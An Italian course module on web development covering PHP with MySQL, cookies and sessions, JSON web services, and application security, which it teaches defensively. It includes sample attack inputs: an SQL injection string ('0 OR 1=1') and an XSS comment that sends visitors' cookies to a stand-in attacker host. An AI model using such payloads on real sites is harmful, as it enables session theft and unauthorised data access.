Progettazione Web - Dati, sessioni e sicurezza
Cerca per parola chiave 0/0

Dati, sessioni e sicurezza

PHP con MySQL, cookie e sessioni, web service e sicurezza delle applicazioni

Un'applicazione web vera deve ricordare: i prodotti del catalogo, gli utenti registrati, il carrello di chi sta comprando. In questo modulo colleghiamo PHP a un database, vediamo come riconoscere lo stesso utente tra una richiesta e l'altra, come offrire dati ad altre applicazioni e, soprattutto, come non farsi bucare il sito.

PHP e i database

Perché un database

I dati si potrebbero tenere in file di testo, ma appena crescono servono ricerche veloci, accessi contemporanei senza conflitti, integrità e sicurezza: è il mestiere di un DBMS. Con XAMPP arriva MariaDB, compatibile con MySQL, che si gestisce da phpMyAdmin (localhost/phpmyadmin), dalla riga di comando o da programmi come MySQL Workbench e DBeaver. Il database gira come un server a sé: PHP gli si collega, gli manda query SQL e riceve righe, che trasforma in HTML.

Browser chiede e mostra Apache + PHP logica dell'applicazione MySQL i dati GET artista.php?id=3HTML SELECT … WHERE id = 3righe il browser non parla mai direttamente con il database
Un'architettura a tre livelli: presentazione nel browser, logica nel server web, dati nel DBMS.

PHP offre due interfacce per MySQL: mysqli, specifica per MySQL, con uno stile a funzioni e uno a oggetti, e PDO (PHP Data Objects), a oggetti, che funziona con molti DBMS cambiando solo la stringa di connessione. La vecchia estensione mysql_* è stata rimossa da anni: se la trovi in un tutorial, cambia tutorial. Negli esempi useremo PDO, mostrando anche l'equivalente mysqli.

Gli esempi usano un piccolo database galleria, con artisti e quadri:

Connettersi

Ogni pagina che usa il database segue lo stesso schema: connettersi, gestire gli errori di connessione, eseguire le query, elaborare i risultati, chiudere (PHP chiude da solo la connessione a fine script). I parametri di connessione si scrivono una volta sola, in un file di configurazione incluso da tutte le pagine e, se possibile, messo fuori dalla cartella pubblica: contiene una password.

La stringa DSN (Data Source Name) dice quale driver usare e dove si trova il database; charset=utf8mb4 assicura che accenti ed emoji arrivino integri. Con mysqli la connessione è $db = new mysqli('localhost', 'root', '', 'galleria'); (o mysqli_connect(…) nello stile a funzioni), seguita da $db->set_charset('utf8mb4').

Eseguire query e leggere i risultati

  • $pdo->query($sql) esegue una query senza dati esterni e restituisce un oggetto PDOStatement, che si può scorrere direttamente con foreach;
  • fetch() restituisce la riga successiva (o false se sono finite), fetchAll() tutte le righe in un array, fetchColumn() il primo valore della riga, comodo per i COUNT(*);
  • la forma delle righe dipende dal fetch mode: PDO::FETCH_ASSOC (array con i nomi delle colonne), PDO::FETCH_OBJ (oggetti anonimi, $r->nome), PDO::FETCH_CLASS (oggetti di una classe scelta da noi).

Ogni link porta alla pagina di dettaglio con l'id nella query string: è qui che entrano in gioco i dati dell'utente, e quindi i prepared statement.

Con FETCH_CLASS ogni riga diventa un oggetto di una nostra classe, con i suoi metodi:

SQL injection e prepared statement

L'errore più grave che si possa fare con un database è costruire la query incollando i dati dell'utente:

Se l'indirizzo è quadro.php?id=0 OR 1=1, la query diventa SELECT * FROM quadri WHERE id = 0 OR 1=1 e restituisce tutta la tabella. Con un po' di pazienza un attaccante può aggiungere un UNION SELECT e leggere altre tabelle, utenti e password compresi, o modificare i dati. Si chiama SQL injection ed è da vent'anni tra le vulnerabilità più sfruttate del Web.

La difesa giusta sono i prepared statement (query preparate): la query viene inviata al database con dei segnaposto, ? oppure :nome, e i dati vengono inviati a parte con execute. Il database ha già analizzato la struttura della query prima di vedere i dati, quindi qualsiasi cosa contengano resterà un valore, mai un pezzo di SQL. Prova:

Un tempo si «ripulivano» i dati con funzioni di escaping come mysqli_real_escape_string o $pdo->quote(), che mettono una barra davanti agli apici. Non basta: proteggono solo i valori scritti tra apici, e nell'esempio id = 0 OR 1=1 di apici non ce ne sono. I prepared statement funzionano sempre, e con mysqli si scrivono così:

Un caso tipico è la pagina di ricerca. Due dettagli: i caratteri jolly di LIKE vanno nel valore, non nella query; e il testo cercato, rimostrato nella casella, va passato per htmlspecialchars.

Inserire, modificare, cancellare

Le query che modificano i dati si eseguono allo stesso modo. rowCount() dice quante righe sono state toccate e lastInsertId() restituisce la chiave generata da AUTO_INCREMENT. Dopo un inserimento riuscito si reindirizza (schema Post/Redirect/Get), così ricaricando la pagina non si inserisce un doppione.

Transazioni

Quando più modifiche devono avvenire tutte o nessuna, si raggruppano in una transazione: il classico bonifico toglie da un conto e aggiunge all'altro, e se la seconda operazione fallisce anche la prima deve sparire. In SQL si scrive START TRANSACTION … COMMIT (conferma) oppure ROLLBACK (annulla); in PDO ci sono i metodi corrispondenti. Le proprietà garantite dalle transazioni (le proprietà ACID) e la concorrenza sono spiegate nel corso di Basi di Dati.

Immagini e file: nel file system o nel database?

Nel file system, con il percorso nel database

La soluzione più comune: il file sta in una cartella, il database ne conserva il nome. Il server web lo serve in modo efficiente e il database resta leggero. Bisogna però tenere allineati file e righe.

Nel database, come BLOB

Il file è una colonna di tipo BLOB: un solo posto da salvare e da proteggere, transazioni comprese. Il database diventa grande, e per mostrare l'immagine serve uno script che la legga e la invii.

Lo stato: ricordarsi dell'utente

HTTP non ha memoria

Un programma per computer resta in esecuzione e ricorda tutto finché non lo si chiude. Un'applicazione web invece è una serie di richieste indipendenti: ogni pagina è un'esecuzione separata dello script, e HTTP non offre alcun modo di capire che due richieste vengono dalla stessa persona. Si dice che HTTP è senza stato (stateless). Eppure il carrello deve ricordare i prodotti e il sito deve sapere chi ha fatto il login. Gli strumenti per passare informazioni da una richiesta all'altra sono:

  • la query string e i campi nascosti dei form: i dati viaggiano nell'indirizzo o nel corpo della richiesta. Semplici, ma visibili e modificabili;
  • i cookie: piccoli dati che il server chiede al browser di conservare e di rimandargli a ogni richiesta;
  • le sessioni: i dati restano sul server, il browser conserva solo un identificativo, in un cookie;
  • il Web Storage (visto con JavaScript): dati che restano nel browser e non vengono inviati al server.

Un cookie è una coppia nome=valore che il server invia con l'intestazione Set-Cookie. Il browser la conserva e, da quel momento, la rimanda in ogni richiesta allo stesso sito con l'intestazione Cookie, che contiene solo nomi e valori. Gli attributi decidono quando e dove il cookie viene inviato:

AttributoSignificato
Expires, Max-Agequando scade. Senza, è un cookie di sessione, cancellato alla chiusura del browser; con una scadenza è persistente
Domaina quali domini inviarlo. Di norma solo a quello che l'ha creato; con Domain=unipi.it anche a tutti i sottodomini
Pathsolo per gli indirizzi che iniziano con quel percorso (/blog vale per /blog/2026/…)
Securesolo su connessioni HTTPS
HttpOnlyinvisibile a JavaScript (document.cookie): un furto via XSS diventa molto più difficile
SameSiteStrict, Lax o None: se inviarlo quando la richiesta parte da un altro sito. Protegge dagli attacchi CSRF

In PHP si crea con setcookie(nome, valore, opzioni) e si legge da $_COOKIE. Due cose da ricordare: un cookie appena impostato compare in $_COOKIE solo dalla richiesta successiva (è il browser che deve rimandarlo); e setcookie, come header e session_start, aggiunge un'intestazione HTTP, quindi va chiamato prima di qualsiasi output, anche di un solo spazio prima di <?php. Altrimenti:

Dalla richiesta successiva, anche a distanza di giorni, il browser aggiunge il cookie da solo:

Per cancellare un cookie lo si reimposta con una scadenza nel passato. I cookie servono per «ricordami», preferenze, carrelli e tracciamento del comportamento di navigazione (che in Europa richiede il consenso). Ma sono piccoli (circa 4 KB), viaggiano in ogni richiesta e soprattutto stanno nel browser: l'utente li può leggere, modificare e cancellare. Il sito non deve fidarsi del loro contenuto e non deve dipenderne per funzionare.

Le sessioni

Con le sessioni i dati restano al sicuro sul server. Alla prima richiesta PHP genera un identificativo di sessione casuale e lungo, lo manda al browser in un cookie (di solito chiamato PHPSESSID) e prepara un contenitore vuoto. A ogni richiesta successiva il browser rimanda l'identificativo e PHP ricarica i dati corrispondenti nell'array $_SESSION; a fine script li salva di nuovo, per impostazione predefinita in un file sul server.

Browser cookie PHPSESSID=k3j9x… Server sess_k3j9x… utente => 'anna' ruolo => 'studente' carrello => [17, 23] Cookie: PHPSESSID=k3j9x… pagina costruita con i dati della sessione
Nel browser viaggia solo una chiave casuale; i dati non lasciano mai il server.

Ogni script che usa la sessione inizia con session_start(), prima di qualsiasi output. Ecco un login completo, con le password conservate in modo corretto (come si vedrà nella parte sulla sicurezza):

Un carrello è solo un array nella sessione:

Sui siti molto visitati le richieste sono distribuite tra più server (una web farm) da un bilanciatore di carico: la richiesta successiva può arrivare a un server che non ha il file della sessione. Le soluzioni sono due: configurare il bilanciatore perché mandi sempre lo stesso utente allo stesso server (sticky sessions), oppure salvare le sessioni in un archivio condiviso, come un database o un server Memcached o Redis, impostandolo in php.ini.

Serializzare dati e oggetti

Serializzare vuol dire trasformare un valore complesso (un array, un oggetto) in una stringa che si può salvare o trasmettere, per poi ricostruirlo identico. PHP lo fa con serialize e unserialize, ed è proprio così che salva $_SESSION tra una richiesta e l'altra. Per ricostruire un oggetto la sua classe deve essere già definita.

Il formato di serialize indica tipo e lunghezza di ogni pezzo (s:4:"nome" è una stringa di 4 caratteri, a:2 un array di 2 elementi). Per personalizzare che cosa salvare si definiscono nella classe i metodi __serialize e __unserialize (l'interfaccia Serializable dei libri meno recenti è deprecata). Per scambiare dati con altri programmi si preferisce JSON, leggibile da qualsiasi linguaggio. E una regola di sicurezza: mai chiamare unserialize su dati arrivati dall'utente, perché può costruire oggetti arbitrari.

Cookie, sessioni o Web Storage?

CookieSessionelocalStorage / sessionStorage
dove stanno i datinel browsersul server (nel browser solo l'id)nel browser
capienzacirca 4 KBquanto si vuolequalche MB
inviati al servera ogni richiestasolo l'id, a ogni richiestamai
duratafino alla scadenza, o alla chiusura del browserfino al logout o a un periodo di inattivitàper sempre / fino alla chiusura della scheda
chi li leggeserver e JavaScript (se non HttpOnly)solo il serversolo JavaScript
adatti apreferenze, «ricordami», id di sessionelogin, carrello, dati riservatibozze, cache, preferenze dell'interfaccia

Web service e JSON

Un'API che risponde in JSON

Un web service (o API web) è un indirizzo che non restituisce una pagina per le persone, ma dati per i programmi: le pagine con fetch, le app per telefono, altri server. Oggi il formato quasi universale è il JSON; un tempo si usava molto l'XML. In PHP bastano tre cose: dichiarare il tipo di contenuto con header('Content-Type: application/json'), costruire un array e trasformarlo con json_encode, usare i codici di stato HTTP per gli errori.

Nel verso opposto, json_decode($testo, true) trasforma il JSON in array associativi. Quando il client invia JSON nel corpo di una richiesta POST, PHP non lo mette in $_POST (che capisce solo il formato dei form): lo si legge dal flusso grezzo php://input.

Dal lato client si usa fetch, come visto nel modulo su JavaScript nel browser: la pagina chiede i dati e aggiorna solo la parte che serve.

Un esempio completo: alba e tramonto

L'utente scrive un indirizzo e la pagina mostra a che ora sorge e tramonta il sole in quel punto. Servono due servizi esterni: Nominatim di OpenStreetMap, che trasforma un indirizzo in coordinate (geocodifica), e sunrise-sunset.org, che dalle coordinate calcola gli orari. Il secondo si chiama direttamente dal browser; il primo passa dal nostro service.php, per tre buone ragioni: Nominatim chiede di identificarsi con un User-Agent riconoscibile e di non essere bombardato di richieste, il server può pulire e semplificare la risposta, e in generale così si tengono nascoste eventuali chiavi di accesso. Per chiamare un altro server, PHP usa la libreria cURL.

Sicurezza

I concetti di base

La sicurezza di un sistema si misura su tre proprietà, la triade CIA:

Riservatezza

Confidentiality: solo chi è autorizzato vede i dati. Violata quando qualcuno legge la tabella degli utenti.

Integrità

Integrity: i dati non vengono alterati di nascosto. Violata quando qualcuno cambia il prezzo nel carrello.

Disponibilità

Availability: il servizio funziona quando serve. Violata da un attacco che manda il sito fuori servizio.

Qualche termine: una vulnerabilità è un difetto sfruttabile (una query costruita male); una minaccia è chi o che cosa potrebbe sfruttarla; un attacco è il tentativo concreto; il rischio combina la probabilità che accada con il danno che farebbe (impatto), e serve a decidere dove investire. Tre principi guidano la progettazione: la sicurezza si pensa dall'inizio (secure by design), non si aggiunge alla fine; si mettono più difese in fila, così se una cede c'è la successiva; ogni utente e ogni componente ha solo i permessi che gli servono (minimo privilegio: lo script del sito non si collega al database come root). Le vulnerabilità web più diffuse sono raccolte nella OWASP Top 10, un buon elenco da ripassare prima di pubblicare un progetto.

Autenticazione e autorizzazione

Autenticazione: chi sei?

Si dimostra la propria identità con uno o più fattori: qualcosa che si sa (una password, un PIN), che si ha (il telefono, una chiavetta), che si è (impronta, volto). L'autenticazione a più fattori (MFA, o 2FA con due) ne combina di tipi diversi: rubare la password non basta più.

Autorizzazione: che cosa puoi fare?

Stabilito chi è l'utente, il server decide a che cosa può accedere, di solito in base al suo ruolo (studente, docente, amministratore). Il controllo va fatto sul server, a ogni richiesta: nascondere un pulsante nell'interfaccia non impedisce a nessuno di chiamare l'indirizzo.

Molti siti delegano l'autenticazione ad altri con OAuth, il protocollo dietro «Accedi con Google». I ruoli in gioco sono quattro: l'utente (proprietario dei dati), l'applicazione che vuole accedervi, il server di autorizzazione (Google, che verifica l'utente e chiede il suo consenso) e il server delle risorse (che custodisce i dati). L'applicazione non vede mai la password: riceve un token, un permesso limitato e a scadenza.

Conservare le password

Le password non si salvano mai in chiaro: prima o poi un database viene rubato. Si salva il loro hash, il risultato di una funzione crittografica a senso unico: dalla password si calcola facilmente l'hash, dall'hash non si risale alla password. Al login si calcola l'hash di ciò che l'utente ha scritto e lo si confronta con quello salvato. Ma non basta: password uguali danno hash uguali, e gli attaccanti hanno enormi tabelle di hash già calcolati per le password comuni. Per questo a ogni password si aggiunge un sale (salt), una stringa casuale diversa per ogni utente, salvata insieme all'hash.

Infine, l'algoritmo deve essere lento: SHA-256 è progettato per essere velocissimo, e una scheda grafica ne calcola miliardi al secondo, provando tutte le password plausibili. MD5 e SHA-1 sono anche considerati rotti. Per le password si usano algoritmi lenti apposta, come bcrypt e Argon2. In PHP non c'è niente da inventare: password_hash sceglie l'algoritmo, genera il sale e lo include nel risultato; password_verify fa il confronto.

Crittografia in pillole

La crittografia simmetrica usa la stessa chiave per cifrare e decifrare. L'esempio più antico è il cifrario di Cesare, che sposta ogni lettera di un numero fisso di posizioni; il cifrario di Vigenère usa spostamenti diversi dati da una parola chiave. Gli algoritmi moderni, come AES (che ha sostituito il vecchio DES), sono velocissimi e, con chiavi abbastanza lunghe, impossibili da forzare.

Il problema della crittografia simmetrica è la distribuzione delle chiavi: come fanno due persone che non si sono mai incontrate a mettersi d'accordo su una chiave segreta, se l'unico canale che hanno è intercettabile? Due idee degli anni Settanta lo risolvono:

  • lo scambio di Diffie-Hellman: le due parti si scambiano in pubblico dei numeri da cui ciascuna, combinandoli con un proprio segreto, ottiene la stessa chiave, che non è mai passata sul canale. Con numeri piccoli: modulo pubblico 23 e base 5; Alice sceglie in segreto 4 e invia 54 mod 23 = 4; Bruno sceglie 3 e invia 53 mod 23 = 10; Alice calcola 104 mod 23 = 18, Bruno 43 mod 23 = 18. Chi ascolta conosce 23, 5, 4 e 10, ma per arrivare a 18 dovrebbe risolvere un problema (il logaritmo discreto) intrattabile con numeri di centinaia di cifre;
  • la crittografia asimmetrica (a chiave pubblica): ognuno ha due chiavi legate tra loro. Quella pubblica si dà a tutti e serve a cifrare; quella privata non si dà a nessuno e serve a decifrare. Chiunque può mandarmi un messaggio che solo io posso leggere.

L'algoritmo asimmetrico più famoso è RSA. Si scelgono due numeri primi p e q e si calcola n = p · q. Rendere pubblico n è sicuro perché, quando i primi hanno centinaia di cifre, nessuno sa scomporlo nei suoi fattori in tempi ragionevoli; ma senza i fattori non si può calcolare la chiave privata. Ecco tutti i passaggi con numeri piccoli:

La crittografia asimmetrica è molto più lenta di quella simmetrica. Per questo nella pratica si usano insieme: con la crittografia asimmetrica (o con Diffie-Hellman) ci si accorda su una chiave di sessione casuale, e il resto della comunicazione viaggia cifrato con AES usando quella chiave.

Le due chiavi si possono usare anche al contrario: ciò che si cifra con la chiave privata si decifra con quella pubblica. Nessun segreto, ma una prova: solo il proprietario della chiave privata può averlo prodotto. È la firma digitale. In pratica si firma l'hash del documento: chi riceve ricalcola l'hash, decifra la firma con la chiave pubblica e confronta. Se coincidono, il documento viene davvero da quella persona (autenticità) e non è stato modificato (integrità).

HTTPS e i certificati

HTTPS è HTTP trasportato dentro una connessione cifrata con il protocollo TLS. All'inizio della connessione, in breve:

  1. il browser e il server concordano versione e algoritmi;
  2. il server presenta il suo certificato: un documento che lega il nome del sito (www.unipi.it) alla sua chiave pubblica, firmato da un'autorità di certificazione (CA);
  3. il browser verifica la firma con le chiavi pubbliche delle CA di cui si fida, già installate nel sistema, e controlla nome e scadenza;
  4. le due parti si accordano su una chiave di sessione (con Diffie-Hellman), e da lì in poi tutto viaggia cifrato con un algoritmo simmetrico.

Il lucchetto nella barra degli indirizzi garantisce tre cose: nessuno può leggere i dati in transito (riservatezza), nessuno può modificarli (integrità), e il server è davvero quello del dominio indicato (autenticità). Non garantisce che il sito sia onesto: anche un sito truffa può avere un certificato valido per il proprio dominio. Un certificato autofirmato, non firmato da una CA, cifra comunque la connessione, ma il browser non può verificare l'identità del server e mostra un avviso: va bene per lo sviluppo su localhost, non per un sito pubblico. Oggi i certificati si ottengono gratis con Let's Encrypt, e non c'è più ragione di pubblicare un sito senza HTTPS.

Cross-site scripting (XSS)

Un attacco XSS riesce a far eseguire il proprio JavaScript nella pagina di un altro sito, e quindi nel browser delle sue vittime: può rubare dati, compiere azioni a nome dell'utente, modificare la pagina. Succede quando il sito inserisce nella pagina testo ricevuto dall'utente senza trasformarlo. Due varianti:

  • riflesso: il codice è nell'indirizzo e la pagina lo ripete, per esempio cerca.php?q=<script>…</script> che mostra «Risultati per …». L'attaccante deve convincere la vittima a cliccare il link;
  • memorizzato: il codice viene salvato nel database, per esempio in un commento, e parte per chiunque visiti la pagina. È il più pericoloso.
Vulnerabile

Un commento come <script>fetch('//attaccante.it/?c=' + document.cookie)</script> manda all'attaccante i cookie di ogni visitatore.

Corretto

Il browser riceve &lt;script&gt;… e mostra i caratteri come testo, senza eseguire niente.

Le difese, da applicare insieme:

  1. trasformare l'output, sempre e nel momento in cui si stampa: htmlspecialchars in PHP, textContent invece di innerHTML in JavaScript (lo hai visto nella demo del modulo precedente). strip_tags, che toglie i tag, non basta: lascia passare attributi pericolosi in molti contesti;
  2. se si deve accettare HTML, per esempio da un editor di testo ricco, filtrarlo con una libreria dedicata come HTML Purifier, che tiene solo i tag e gli attributi permessi;
  3. cookie di sessione HttpOnly, così uno script iniettato non li può leggere;
  4. l'intestazione Content-Security-Policy, che dice al browser da dove è lecito caricare script: con Content-Security-Policy: script-src 'self' gli script in linea iniettati non partono.

Altri attacchi: IDOR, CSRF, DoS

Un riferimento diretto non protetto (IDOR, Insecure Direct Object Reference) è un errore di autorizzazione banale e diffusissimo: la fattura di Anna è in fattura.php?id=1024; Anna prova id=1025 e vede quella di un altro cliente. Il server deve controllare che la risorsa appartenga a chi la chiede:

Con il CSRF (Cross-Site Request Forgery) un altro sito fa partire, all'insaputa dell'utente, una richiesta verso il nostro, per esempio un form nascosto che invia un bonifico: il browser allega automaticamente i cookie di sessione e il nostro sito crede che la richiesta sia legittima. Le difese sono i cookie SameSite e un token anti-CSRF: un valore casuale messo in un campo nascosto dei form e salvato in sessione, che l'altro sito non può conoscere.

Un attacco DoS (Denial of Service) colpisce la disponibilità: inonda il server di richieste fino a esaurirne le risorse. Nella versione distribuita (DDoS) le richieste partono da migliaia di dispositivi infetti, ed è difficile distinguerle dal traffico vero. Ci si difende limitando il numero di richieste per indirizzo (rate limiting), con reti di distribuzione (CDN) e servizi di protezione che assorbono il traffico. Lo stesso limite di tentativi protegge anche il login dagli attacchi a forza bruta.

Una lista di controllo per il progetto

  • tutte le query con dati esterni usano prepared statement;
  • tutto ciò che viene dall'utente e finisce nella pagina passa per htmlspecialchars (o textContent);
  • i dati vengono validati sul server, anche se c'è già il controllo in JavaScript;
  • le password sono salvate con password_hash;
  • dopo il login si chiama session_regenerate_id, e ogni pagina riservata controlla la sessione e i permessi sulla singola risorsa;
  • i file caricati sono controllati per tipo e dimensione e salvati con un nome scelto dal server;
  • gli errori non vengono mostrati agli utenti (display_errors spento) ma registrati nel log;
  • le credenziali del database stanno fuori dalla cartella pubblica, e l'utente del database ha solo i permessi necessari;
  • il sito pubblicato usa HTTPS, con cookie Secure, HttpOnly e SameSite.

Verifica